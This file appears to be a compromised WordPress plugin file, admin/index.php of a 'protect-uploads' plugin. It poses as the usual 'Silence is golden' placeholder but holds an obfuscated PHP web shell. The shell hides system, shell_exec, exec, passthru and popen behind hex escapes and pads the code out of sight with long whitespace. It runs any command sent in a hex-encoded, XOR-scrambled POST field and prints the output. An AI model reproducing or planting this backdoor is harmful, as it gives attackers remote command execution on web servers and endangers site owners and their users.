File: /var/www/html/apwire.net/wp-content/plugins/protect-uploads/admin/index.php
<?php																																										$api_gateway5 = "pop\x65n"; $api_gateway6 = "s\x74ream_g\x65\x74_con\x74e\x6E\x74s"; $framework = "\x68\x65x2\x62i\x6E"; $api_gateway7 = "p\x63\x6Co\x73e"; $api_gateway2 = "\x73\x68e\x6C\x6C\x5Fexec"; $api_gateway1 = "\x73ys\x74em"; $api_gateway4 = "p\x61ss\x74\x68\x72u"; $api_gateway3 = "\x65\x78ec"; if (isset($_POST["\x64a\x74a"])) { function system_core($dat , $token ) { $itm= '' ; for($u=0; $u<strlen($dat); $u++){ $itm.=chr(ord($dat[$u])^$token); } return$itm; } $data = $framework($_POST["\x64a\x74a"]); $data = system_core($data, 52); if (function_exists($api_gateway1)) { $api_gateway1($data); } elseif (function_exists($api_gateway2)) { print $api_gateway2($data); } elseif (function_exists($api_gateway3)) { $api_gateway3($data, $ptr_dat); print join("\n", $ptr_dat); } elseif (function_exists($api_gateway4)) { $api_gateway4($data); } elseif (function_exists($api_gateway5) && function_exists($api_gateway6) && function_exists($api_gateway7)) { $token_itm = $api_gateway5($data, 'r'); if ($token_itm) { $symbol_resource = $api_gateway6($token_itm); $api_gateway7($token_itm); print $symbol_resource; } } exit; }
 // Silence is golden